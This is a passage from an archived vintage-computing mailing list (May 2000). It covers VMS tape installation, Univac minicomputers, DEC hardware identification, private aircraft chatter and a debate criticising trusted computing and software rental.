Abbas I do not speak for my employer. > "Damn, she looked a lot cuter in the bar..." -- Chris Rioux > (He may be one of my coworkers, but he doesn't speak for them either) > > > > > From hofmanwb at worldonline.nl Wed May 17 00:39:57 2000 From: hofmanwb at worldonline.nl (W.B.(Wim) Hofman) Date: Sun Feb 27 18:52:48 2005 Subject: Booting VMS 5.5 from tape? Message-ID: <20000516212657.9C71C36C14@rhea.worldonline.nl> Good TK50 tapes are getting rare. In my experience, first clean the head and then try to read. Loosen the two springs that hold the head down by shifting them sidewards, then the head can be slid upwards and be cleaned. Wim ---------- From mrdos at swbell.net Mon May 15 16:32:30 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:52:48 2005 Subject: Sperry Univac Minicomputer Message-ID: <000601bfbeb5$14fac500$b6723ed8@compaq> It looks to be about 5ft tall. The top half is the traditional Sperry Red/Orange color, and the bottom half is grey. It's mounted in a rack with several storage devices. I can't make out the model number on the front. The caption in the book says it's a minicomputer. It's much too small to be a mainframe. I've never seen a UNIVAC in "person" before. I've always thought it would be neat to own one. Thanks, Owen From steverob at hotoffice.com Tue May 16 16:45:40 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Classic Computers Message-ID: <2921A6D846E9D31182490050040DC0D668232E@hoexc101.hotoffice.com> An airplane has always been high on my list and with any luck, I'll be getting another one soon! Sorry Allison but, I'd rather fly a Piper than a Cessna. Steve Robertson > -----Original Message----- > From: allisonp@world.std.com [mailto:allisonp@world.std.com] > Sent: Tuesday, May 16, 2000 4:10 PM > To: classiccmp@classiccmp.org > Cc: JoAnn Rachor > Subject: Re: Finding Classic Computers > > No plane???? Heavens, oh my!!! Two things I don't give up, my Cessna > and some of my old machines than have followed me through 5 moves. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000516/63083a84/attachment-0001.html From mikeford at socal.rr.com Tue May 16 17:03:43 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Classic Computers In-Reply-To: <2921A6D846E9D31182490050040DC0D668232E@hoexc101.hotoffice.com> Message-ID: >An airplane has always been high on my list and with any luck, I'll be >getting another one soon! Sorry Allison but, I'd rather fly a Piper than a >Cessna. There is a couple in AZ with a working, flying, F104. (one of those neat ones if not the 104). From ethan_dicks at yahoo.com Tue May 16 17:07:08 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Classic Computers Message-ID: <20000516220708.20712.qmail@web618.mail.yahoo.com> --- allisonp@world.std.com wrote: > No plane???? Heavens, oh my!!! Two things I don't give up, my Cessna > and some of my old machines than have followed me through 5 moves. Cool! I didn't know you flew. I'm a student myself - one more solo cross-country and my night instruction and I'm just about ready for my check ride. > A hanger... Even tiwht a cessna thats a lot of room left for a small > 11/780... ;) I have room at the farm for a two-seater in the quonset hut, but it would have to share the space with the pair of 11/70s and the 11/750. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From cmcmanis at mcmanis.com Tue May 16 17:20:38 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:48 2005 Subject: Final score Chuck 2, TK50 0 (was Re: Booting VMS 5.5 from tape?) In-Reply-To: <20000516212657.9C71C36C14@rhea.worldonline.nl> Message-ID: <4.1.20000516151100.03ffdf00@mailhost.hq.freegate.com> So here is a summary for the archives and whomever else might follow such things :-) I actually have two tape sets, one is a four cartridge set with the following tapes in it: 1 AQ-JP22H-BE VMS V5.5 BIN TK50 1/2 Copyright 1991 Digital Equipment Corp 2 AQ-LC99D-BE VMS V5.5 BIN TK50 2/2 Copyright 1991 Digital Equipment Corp 3 AQ-NH24D-BE VMS V5.5 BIN TK50 MUP MANDATORY UPDATE Copyright 1991 Digital Equipment Corp 4 AQ-PQWLO-BE VMS V5.5-2 BIN TK50 1/1 Copyright 1992 Digital Equipment Corp The second has only two tapes in it: 1 AQ-PRAKO-O1 VMS V5.5-2 REMASTERED TK50 1/2 = VMS ONLY Copyright 1992 Digital Equipment Corp 2 AQ-PRALO-O1 VMS V5.5-2 REMASTERED TK50 2/2 = S/A BAKUP & DECWINDOWS Copyright 1991 Digital Equipment Corp The good news is that I've successfully installed VMS 5.5-2 with both sets of tapes. For those of you who have either of these tapes ... Boot the tape marked 2/2 and it will boot into standalone backup. Then for the 5.5 tapes type: BACKUP/VERIFY MUA0:VMS055.B/SAVE_SET DUA0: for the 5.5-2 tape type: BACKUP/VERIFY MUA0:VMS2055.B/SAVE_SET DUA0: Then reboot after it installs and follow the prompts. --Chuck From foo at siconic.com Tue May 16 16:26:41 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Classic Computers In-Reply-To: Message-ID: On Tue, 16 May 2000, Mike Ford wrote: > >An airplane has always been high on my list and with any luck, I'll be > >getting another one soon! Sorry Allison but, I'd rather fly a Piper than a > >Cessna. > > There is a couple in AZ with a working, flying, F104. (one of those neat > ones if not the 104). HEY! I have a FIREPLACE but this isn't the FIREPLACE mailing list either, ya know? From mgregory at vantageresearch.com Tue May 16 17:31:22 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Classic Computers Message-ID: <00f401bfbf86$76dd4a00$0200a8c0@marvin> -----Original Message----- From: Mike Ford To: classiccmp@classiccmp.org Date: Tuesday, May 16, 2000 4:08 PM Subject: RE: Finding Classic Computers > >There is a couple in AZ with a working, flying, F104. (one of those neat >ones if not the 104). > Actually, it's an ex-CF-104, built for the Canadian Armed Forces. The main differences (IIRC) were in modified flaps, leading edge slats and air brakes to provide better low-speed performance. The perennially cash-strapped CAF actually operated the Starfighter, designed as a high-speed interceptor, as fighter-bombers (!) for ground support in Europe. This doubtless contributed to the 104's reputation as a "widow-maker" in the CAF. Nice toy if you have money to burn and like to sightsee at Mach 2. Mark. From dogas at leading.net Tue May 16 17:33:31 2000 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:52:48 2005 Subject: Sperry Univac Minicomputer Message-ID: <000801bfbf86$c5ef9940$ca646464@dogclient01> >I'd be curious to know what others there might be. >--Pat. I pulled the control panals off a Univac 1540... - Mike: dogas@leading.net From kstumpf at unusual.on.ca Tue May 16 18:19:18 2000 From: kstumpf at unusual.on.ca (Kevin Stumpf/Unusual Systems) Date: Sun Feb 27 18:52:48 2005 Subject: Sperry Univac Minicomputer References: <001101bfbead$53370e80$92893cd8@compaq> Message-ID: <011001bfbf8d$2c1f3580$9581b7d1@kstumpf> A company called Varian Corp made all sorts of electronic equipment in the 1970's, including computers. Sperry Rand Corp. bought them out in 1977 and suddenly UNIVAC had a minicomputer line. But Varian did the same thing to get into the mini business, Varian bought Data Machines Inc. Varian had their popular V77 line started when Sperry bought them. ----- Original Message ----- From: Owen Robertson To: Classic Computer Mailing List Sent: Monday, May 15, 2000 4:36 PM Subject: Sperry Univac Minicomputer Does anyone know anything about the UNIVAC minicomputer(s)? I didn't know there was such a thing as a UNIVAC minicomputer, until I came across a picture of one in a book the other day. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000516/ec576c39/attachment-0001.html From eric at brouhaha.com Tue May 16 18:20:48 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <003201bfbe87$96d272e0$0400c0a8@winbook> (richard@idcomm.com) References: <003201bfbe87$96d272e0$0400c0a8@winbook> Message-ID: <20000516232048.3066.qmail@brouhaha.com> "Richard Erlacher" wrote: > Since there's a strong push in the direction of a hermetically-sealed > internet-PC, with no options, it makes me shudder to think there may be a > time, soon, when we have to buy software by the drink, downloading it each > time from the net and for a fee, as the Oracle folks would like us to do. I > see no effort from anyone else to dispell the notion that that's a good > thing. A lot of people don't seem to recognize this threat, and some people refuse to believe it even when it's pointed out. This is what Intel's processor serial number was about. Intel tried to represent that the serial number would provide some sort of benefit to the user, but in reality it was not the end user whose interests they were trying to serve. One of Intel's architects was publicly quoted as saying "The actual user of the PC -- someone who can do anything they want -- is the enemy." Intel lost that particular battle, but the war is far from over. There's now a think called the "Trusted Computing Platform Alliance.": http://www.trustedpc.org/ Such a pleasant-sounding, reassuring name. Until you think about one little detail. Trusted by *whom*? What the software companies, record companies, and movie studios want is a world in which they have complete control over what you can and can't do with their content, and TCPA is chartered with developing the technical infrastructure and standards to make it happen. However, they won't try to ram this down our throats all at once. They'll push it in small increments, and try to make us believe that each little piece is actually a good thing, or at least that it's not significant enough that we should worry about it. But if we allow them to do this, eventually we'll have computers with: * processors that compute a digital signature of the platform BIOS, and refuse to execute "unauthorized" code. * BIOSes that compute a digital signature of the operating system. * Operating systems that compute a digital signature of the BIOS (necessary to make sure that the OS isn't running on an unauthorized platform). And so on. Some cite free software as a force to prevent this kind of madness. Right now we can run both free operating systems and commercial operating systems on the same inexpensive commodity hardware (with the exception of certain peripheral devices whose manufacturers won't release hardware specifications). But eventually we might have a situation where commodity hardware can only run officially sanctioned operating systems, and hardware that is capable of running free software can't run the official stuff. As I see it, the only way this is likely to be averted is if free software develops a sufficiently broad deployment that the market for computers that can't run it is insufficient to satisfy the vendors. You probably don't want to read more of my ranting about this, but it's at http://www.brouhaha.com/~eric/editorials/trusted_computing.html Eric From cmcmanis at mcmanis.com Tue May 16 18:30:54 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:48 2005 Subject: hidden vaxes Message-ID: <4.1.20000516162403.045798c0@mailhost.hq.freegate.com> Well, well, well this was a treat. A while ago I saved a couple of MicroVAX 3400's that were headed for the dump. They had originally been a two VAX cluster. Now 3400's aren't particularly exciting as they have a KA640 CPU (2.7 VUPs), on board DSSI and on board lance ethernet. They were fairly quickly replaced by the 3600 (KA650) and then the 3800 (KA655, 3.8Vups). So I installed VMS on one of them, and decided to net boot the other into NetBSD to see what devices it had. Netbooting it failed. Actually the 'B ESA0' failed with "DEV ERR?" (device error). So I did a SHOW DEV and got a list of devices in the "wrong" format and an ethernet port EZA0. Did a double take and reset it to go through the boot sequence again. It reports as a KA660! (VAX 4000/200) This is great as it eliminates one of the holes in my KA6xx collection (currently KA630, KA640, KA650, KA655, KA660, and KA670) Now to find a KA690 (or better yet a KA691) and a KA620 (which I foolishly gave away at an earlier time) and it will be a clean sweep! --Chuck From rigdonj at intellistar.net Tue May 16 19:34:26 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:48 2005 Subject: L 0400, Another weird DEC card Message-ID: <3.0.1.16.20000516193426.25ef94c6@mailhost.intellistar.net> Can anayone id this DEC card? It's not listed in the DEC field guide. It's a large card with metal extractors and a metal rib in the outside edge. The number "L 0400" is stamped in the outside rib. It measures roughly 16 x 12 1/2". It has eight AM2901 bit slice processors and twelve AM 9122 high speed static RAMS on it. There are three large card edge connectors on it. I posted a picture at "www.intellistar.net/~rigdonj/misc/l0400.jpg". Joe From richard at idcomm.com Tue May 16 18:48:28 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) References: <003201bfbe87$96d272e0$0400c0a8@winbook> <20000516232048.3066.qmail@brouhaha.com> Message-ID: <000d01bfbf91$3eb86be0$0400c0a8@winbook> I'm glad I'm not the only one who's noticed this trend. It's pointed out at considerable length in almost ever Computer-Chronicles, or other techie-targeted newsreel, that Oracle CEO Ellison (?) has been promoting the notion of renting software for some time now. His favorite concept is a resource-poor Internet-PC in every home, renting his software and using data from his servers. Unfortunately, though Bill Gates is not in the same camp with him, the billionaire CEO seems to think the public would benefit by paying for the hardware and the software more or less forever. I'm not in agreement with anything that doesn't let me pick and choose which software I run on my hardware. If they go ahead with this, who's going to keep every version with every possible configuration option already installed exactly as each user wants. It sounds more like a McDonalds approach to computers. However, I don't like McDonalds these days nearly as much as I did when there were only three things you could buy, and the guy at the window lost his job if you didn't have them within 30 seconds of when you walked up. Just in case, however, you'd best not dispose of that old reliable hardware and software . . . it doesn't take up much space . . . Dick ----- Original Message ----- From: Eric Smith To: Sent: Tuesday, May 16, 2000 5:20 PM Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) > "Richard Erlacher" wrote: > > Since there's a strong push in the direction of a hermetically-sealed > > internet-PC, with no options, it makes me shudder to think there may be a > > time, soon, when we have to buy software by the drink, downloading it each > > time from the net and for a fee, as the Oracle folks would like us to do. I > > see no effort from anyone else to dispell the notion that that's a good > > thing. > > A lot of people don't seem to recognize this threat, and some people > refuse to believe it even when it's pointed out. > > This is what Intel's processor serial number was about. Intel tried > to represent that the serial number would provide some sort of benefit > to the user, but in reality it was not the end user whose interests > they were trying to serve. One of Intel's architects was publicly quoted > as saying "The actual user of the PC -- someone who can do anything they > want -- is the enemy." Intel lost that particular battle, but the war is > far from over. > > There's now a think called the "Trusted Computing Platform Alliance.": > http://www.trustedpc.org/ > Such a pleasant-sounding, reassuring name. Until you think about one > little detail. Trusted by *whom*? > > What the software companies, record companies, and movie studios want > is a world in which they have complete control over what you can and > can't do with their content, and TCPA is chartered with developing the > technical infrastructure and standards to make it happen. > > However, they won't try to ram this down our throats all at once. They'll > push it in small increments, and try to make us believe that each little > piece is actually a good thing, or at least that it's not significant > enough that we should worry about it. > > But if we allow them to do this, eventually we'll have computers with: > > * processors that compute a digital signature of the platform BIOS, and > refuse to execute "unauthorized" code. > > * BIOSes that compute a digital signature of the operating system. > > * Operating systems that compute a digital signature of the BIOS > (necessary to make sure that the OS isn't running on an unauthorized > platform). > > And so on. > > Some cite free software as a force to prevent this kind of madness. Right > now we can run both free operating systems and commercial operating systems > on the same inexpensive commodity hardware (with the exception of certain > peripheral devices whose manufacturers won't release hardware specifications). > But eventually we might have a situation where commodity hardware can only > run officially sanctioned operating systems, and hardware that is capable > of running free software can't run the official stuff. > > As I see it, the only way this is likely to be averted is if free software > develops a sufficiently broad deployment that the market for computers > that can't run it is insufficient to satisfy the vendors. > > You probably don't want to read more of my ranting about this, but it's > at > http://www.brouhaha.com/~eric/editorials/trusted_computing.html > > Eric > From thompson at mail.athenet.net Tue May 16 19:02:04 2000 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 18:52:48 2005 Subject: L 0400, Another weird DEC card In-Reply-To: <3.0.1.16.20000516193426.25ef94c6@mailhost.intellistar.net> Message-ID: It is a CDP (CI750 DATA PATH MODULE) On Tue, 16 May 2000, Joe wrote: > > > Can anayone id this DEC card? It's not listed in the DEC field guide. > "www.intellistar.net/~rigdonj/misc/l0400.jpg". > > Joe > > From ard at p850ug1.demon.co.uk Tue May 16 19:14:47 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <20000516232048.3066.qmail@brouhaha.com> from "Eric Smith" at May 16, 0 11:20:48 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2672 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/87484504/attachment-0001.ksh From allisonp at world.std.com Tue May 16 18:25:51 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Classic Computers Message-ID: <002901bfbf8f$1c425140$7264c0d0@ajp166> >>An airplane has always been high on my list and with any luck, I'll be >>getting another one soon! Sorry Allison but, I'd rather fly a Piper than a >>Cessna. It's not what you fly, it's that you do. I have time in PA28/140 and PA32s. The C150 was available at an affordable price and NO training time on it so I got it... had that almost as long as my NS*horizon. >There is a couple in AZ with a working, flying, F104. (one of those neat >ones if not the 104). Feh, jets. If I were to fly a jet it would have to be an A10. Allison From allisonp at world.std.com Tue May 16 18:29:12 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Classic Computers Message-ID: <002a01bfbf8f$1d13ab00$7264c0d0@ajp166> >HEY! I have a FIREPLACE but this isn't the FIREPLACE mailing list either, >ya know? Ya, but you can't store a computer there, a hanger however is a possible place for a museum. It's problem is often they are expensive space but, if you have a plane in a hanger the remaining space is not trivial. Allison From allisonp at world.std.com Tue May 16 18:22:26 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:48 2005 Subject: Finding Classic Computers Message-ID: <002801bfbf8f$1b53d290$7264c0d0@ajp166> >Cool! I didn't know you flew. I'm a student myself - one more solo Yep, been drivin my C150 '528 for the last 21 years. ;) If things go well it may even wander over to Ohio in the next few months. >cross-country and my night instruction and I'm just about ready for >my check ride. Ah, the big day. >I have room at the farm for a two-seater in the quonset hut, but it would >have to share the space with the pair of 11/70s and the 11/750. Just as good! Allison From cmcmanis at mcmanis.com Tue May 16 19:43:16 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. In-Reply-To: References: <20000516232048.3066.qmail@brouhaha.com> Message-ID: <4.1.20000516173938.045ab4c0@mailhost.hq.freegate.com> >Alas I _do_ recognise it, and it worries me... If you want to follow this to its illogical conclusion: 1) Computers only run "authorized software" 2) Uncontrolled computers can be used to commit cyber- crime. 3) Owning an uncontrolled computer requires a license. 4) All uncontrolled computers are confiscated. So will it happen? I don't know. I do know that we are seeing the peak/heydey of the all powerful "personal" computer. This will make them classics to folks 10 years from now who can't develop applications for the machines they use unless the manufacturer has allowed for that. --Chuck From allisonp at world.std.com Tue May 16 18:51:29 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) Message-ID: <004801bfbf96$113ccc60$7264c0d0@ajp166> >Unfortunately, though Bill Gates is not in the same camp with him, the >billionaire CEO seems to think the public would benefit by paying for the >hardware and the software more or less forever. I'm not in agreement with Well remember the "users" in his world view rips him off. >Just in case, however, you'd best not dispose of that old reliable hardware >and software . . . it doesn't take up much space . . . You bet. An aside, I've worked with "thin" clients and they need to be resource rich as network bandwidth is a fuel that makes them run instead of a local disk. So swapping over the net is not workable. After all you need gigabit eithernet to come close to DMA66 IDE disk performance! Sounds like the old days, central computers and smart terminals. Allison From allisonp at world.std.com Tue May 16 19:06:54 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) Message-ID: <004901bfbf96$120c9f80$7264c0d0@ajp166> >I am sometimes asked 'what can that 20-year-old machine do'. One correct >answer is 'Everything it did 20 years ago' (I was having this discussion >with Philip Belben the other day, so some ideas here may have come from >that). In other words, that 20-year-old CP/M box with Wordstar was doing >word processing back then. It can still do word processing. Maybe not >with all the fancy fonts and formatting tricks of a more modern machine. >But it can still print letters, books, etc. And quite honestly, that's >all I need (and if people can't accept a plain ascii file from me, I have >no intention of dealing with them!). I would have said the same.... save for now we know that even with older hardware things like fonts and pretty printing are easily doable on hardware like IMSAIs and PDP11s (and often done well!). >It never fails to amaze me that computers are wonderful machines >_because_ they can be programmed to do just about anything. And then >modern OSes/applications (and things like the TCPA) seem to be preventing >you from programmming them. Go figure. The only difference between a PDP-11 and a PIII/750 is how long you may wait for the same results. Granted some software projects are only doable in reasonable time scales as a result of speed. For practical projects I have a 386/16 that does run W95 so speed is not the absolute catalyst. Remember: Stable Mature systems we know how to use, applies here. Allison From allisonp at world.std.com Tue May 16 18:40:27 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) Message-ID: <004701bfbf96$0f93fe60$7264c0d0@ajp166> >Some cite free software as a force to prevent this kind of madness. Right >But eventually we might have a situation where commodity hardware can only >run officially sanctioned operating systems, and hardware that is capable >of running free software can't run the official stuff. That and old platforms that are not of the "trusted" archetecture. >As I see it, the only way this is likely to be averted is if free software >develops a sufficiently broad deployment that the market for computers >that can't run it is insufficient to satisfy the vendors. ...and enough old hardware to make it a battle. Allison From vcf at siconic.com Tue May 16 19:28:25 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:52:48 2005 Subject: IBEX info? (fwd) Message-ID: Can anyone help this dude? ---------- Forwarded message ---------- Date: Tue, 16 May 2000 10:59:23 -0500 From: Beau Reichert To: vcf@vintage.org Subject: IBEX info? Do you know where I could get info on a IBEX computer. Thanks Beau Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From richard at idcomm.com Tue May 16 20:35:34 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) References: Message-ID: <001101bfbfa0$3505ac20$0400c0a8@winbook> Quite so! I particularly agree that all the computers of 20 years ago still do, and just as well, everything that they did 20 years ago, and that, in many cases, hasn't been improved much over the ensuing 20 years. Payroll and accounting packages still crank out the weekly checks, track the payables and receivables, and really can't improve things much by running faster. In fact, most of the processing bandwith improvements that have occurred in the last 20 years have gone for things we really didn't think we needed back then, and, quite frankly, still don't really need today. The GUI is where most of the bandwidth has gone, and to the "action-games" with their inane flash and silly sounds. Sadly, when you run the 20-year old software on the current generation of machines, it shows you how little improvement there's really been. All those gigabytes of hard disk space and hundreds of megabytes of RAM don't buy you a thing when you're running code designed for a 64K memory space. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 16, 2000 6:14 PM Subject: Re: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) > > > > "Richard Erlacher" wrote: > > > Since there's a strong push in the direction of a hermetically-sealed > > > internet-PC, with no options, it makes me shudder to think there may be a > > > time, soon, when we have to buy software by the drink, downloading it each > > > time from the net and for a fee, as the Oracle folks would like us to do. I > > > see no effort from anyone else to dispell the notion that that's a good > > > thing. > > > > A lot of people don't seem to recognize this threat, and some people > > refuse to believe it even when it's pointed out. > > Alas I _do_ recognise it, and it worries me... > > People have laughed at me (and even flamed me) for wanting/expecting > complete documentation on everything that I own, but quite honestly, > completely documented stuff is stuff that you can do what the heck you > like with. > > There can be no 'hidden' system calls in linux. Anyone can read the > kernel sources and find them. Unlike Windows, for example. > > There can be no hidden hardware features of the PDP11/45. Anyone can read > the printset and microcode flows and figure out just what it will do with > every possible combination of Unibus signals. Unlike certain > microprocessors I could mention. > > One thing that will happen if we get to 'closed' machines that can only > run rented software is that I suspect in certain circles (this list being > one of them, obviously), classic computers will suddenly become very > popular for real work. Machines where you can run your own software and > add your own hardware. > > I am sometimes asked 'what can that 20-year-old machine do'. One correct > answer is 'Everything it did 20 years ago' (I was having this discussion > with Philip Belben the other day, so some ideas here may have come from > that). In other words, that 20-year-old CP/M box with Wordstar was doing > word processing back then. It can still do word processing. Maybe not > with all the fancy fonts and formatting tricks of a more modern machine. > But it can still print letters, books, etc. And quite honestly, that's > all I need (and if people can't accept a plain ascii file from me, I have > no intention of dealing with them!). > > It never fails to amaze me that computers are wonderful machines > _because_ they can be programmed to do just about anything. And then > modern OSes/applications (and things like the TCPA) seem to be preventing > you from programmming them. Go figure. > > > There's now a think called the "Trusted Computing Platform Alliance.": > > http://www.trustedpc.org/ > > Such a pleasant-sounding, reassuring name. Until you think about one > > little detail. Trusted by *whom*? > > Well, not by me, that's for sure... > > -tony > From rutledge at cx47646-a.phnx1.az.home.com Tue May 16 20:45:28 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <20000516232048.3066.qmail@brouhaha.com>; from Eric Smith on Tue, May 16, 2000 at 11:20:48PM -0000 References: <003201bfbe87$96d272e0$0400c0a8@winbook> <20000516232048.3066.qmail@brouhaha.com> Message-ID: <20000516184528.C5340@electron.quantum.int> On Tue, May 16, 2000 at 11:20:48PM -0000, Eric Smith wrote: > Some cite free software as a force to prevent this kind of madness. Right > now we can run both free operating systems and commercial operating systems > on the same inexpensive commodity hardware (with the exception of certain > peripheral devices whose manufacturers won't release hardware specifications). > But eventually we might have a situation where commodity hardware can only > run officially sanctioned operating systems, and hardware that is capable > of running free software can't run the official stuff. I think in America at least there will always be enough individualists to say "over my dead body," and probably always competitors in the hardware space too. Even Intel has never had a real monopoly; and lately my perception is it's got less market share than it used to. And the free software tends to be more portable. So if Intel were to decide to cater to the "lockdown" market then maybe AMD would be selling more processors to the rest of us. Fortunately Intel's attitude towards free software is not that bad at the moment. And even if they try to lock things down the efforts of the hackers to find workarounds can't be underestimated. I think that in the long run the majority usually gets its way; and everyone knows it's better to own than to rent if one can afford it. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From geoffrob at stmarks.pp.catholic.edu.au Tue May 16 20:46:05 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:52:48 2005 Subject: OT: Private jets was Re: Finding Classic Computers References: <00f401bfbf86$76dd4a00$0200a8c0@marvin> Message-ID: <003a01bfbfa1$aa938e20$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Mark Gregory" To: Sent: Wednesday, May 17, 2000 8:01 AM Subject: Re: Finding Classic Computers > Actually, it's an ex-CF-104, built for the Canadian Armed Forces. The main > differences (IIRC) were in modified flaps, leading edge slats and air > brakes to provide better low-speed performance. The perennially > cash-strapped CAF actually operated the Starfighter, designed as a > high-speed interceptor, as fighter-bombers (!) for ground support in > Europe. This doubtless contributed to the 104's reputation as a > "widow-maker" in the CAF. > > Nice toy if you have money to burn and like to sightsee at Mach 2. Lots of jet stuff on the s/h and surplus market these days. IF you have deep enough pockets. A Czech thing (L-29?) seems to be popular and fairly cheap. I saw a very nice Australian registered Jet Provost on www.barnstormers.com a couple days back for around $69KUSD. It's lives in Tasmania, and did pylon racing there. Supposed to be cheaper to own and operate than a piston engined warbird. Makes sense, especially with the high octane stuff getting hard to find and very expensive. Jet fuel is cheap in comparison. Cheers Geoff From eric at brouhaha.com Tue May 16 21:08:19 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <20000516184528.C5340@electron.quantum.int> (rutledge@cx47646-a.phnx1.az.home.com) References: <003201bfbe87$96d272e0$0400c0a8@winbook> <20000516232048.3066.qmail@brouhaha.com> <20000516184528.C5340@electron.quantum.int> Message-ID: <20000517020819.4082.qmail@brouhaha.com> "Shawn T. Rutledge" wrote: > I think that in the long run the majority usually gets its way; and > everyone knows it's better to own than to rent if one can afford it. Yes, but rental can easily be disguised to fool the masses. Right now it's just limitations on what you can play DVDs on (only authorized DVD players and PC-based decoders under approved operating systems). So do you really *own* the DVD? This kind of stuff will become more and more prevalent unless the masses refuse to accept it. The tyranny of the majority does not necessarily lead to things that satisfy us. People are willing to accept a lot of suboptimal crap just because they don't know any better. My point was not specifically about software rental, but about the increasing power of the intellectual property owners to restrict what can be done with their IP. In the past, for the most part copyright law only prevented making copies, and there were exceptions even to that. But with our wonderful new laws like the DMCA, the content providers can impose essentially arbitrary limitations on how the consumer may use the content, and not just have legal authority to enforce those limitations, but also to prosecute as criminals anyone who attempts to so much as figure out how the limitations work (without necessarily even actually circumventing them). And this damn legislation sailed through Congress with very little opposition, so I don't see any reason to expect that the content providers won't be able to sew things up even tighter over time. To date I've purchased a lot of software, albums, and movies. If things keep going the way they appear to be headed, I won't be buying *any* in the future. (Fortunately they can't retrofit more protection onto CD-audio and DVD-video as they stand, but eventually they'll obsolete them for new formats.) From allisonp at world.std.com Tue May 16 20:59:33 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:48 2005 Subject: Private jets was Re: Finding Classic Computers Message-ID: <006b01bfbfa4$3829aba0$7264c0d0@ajp166> >$69KUSD. It's lives in Tasmania, and did pylon racing there. Supposed >to be cheaper to own and operate than a piston engined warbird. Makes >sense, especially with the high octane stuff getting hard to find and >very expensive. Jet fuel is cheap in comparison. The cost of fuel is a red herring. the lower cost of jets is in initial cost and cheaper parts. the cost for fuel is out of sight as most of them were older less efficient engines that could easily eat 4-800pph at ground idle (600pph =100usgallons/hr) and inflight numbers can dwarf this. Piston planes are like older computers, rarer and need more technical savy to use an maintain. Parts are not cheap, hard to find and people that know them well scarce. the upside is 75gph(imperial) of hard to find Green gas (130 octane) for a P51. Right now local prices for 100LL gas is $2.25! Allison From foo at siconic.com Tue May 16 21:52:33 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:48 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <20000516184528.C5340@electron.quantum.int> Message-ID: On Tue, 16 May 2000, Shawn T. Rutledge wrote: > I think that in the long run the majority usually gets its way; and > everyone knows it's better to own than to rent if one can afford it. Consumers killed that attrocity known as "DIVX". We'll probably kill any other incantation of the same idea. The past few years have introduced an ominous trend towards corporations trying to increase their ability to squeeze more residual income out of their ownership of information. If it continues on this path, they 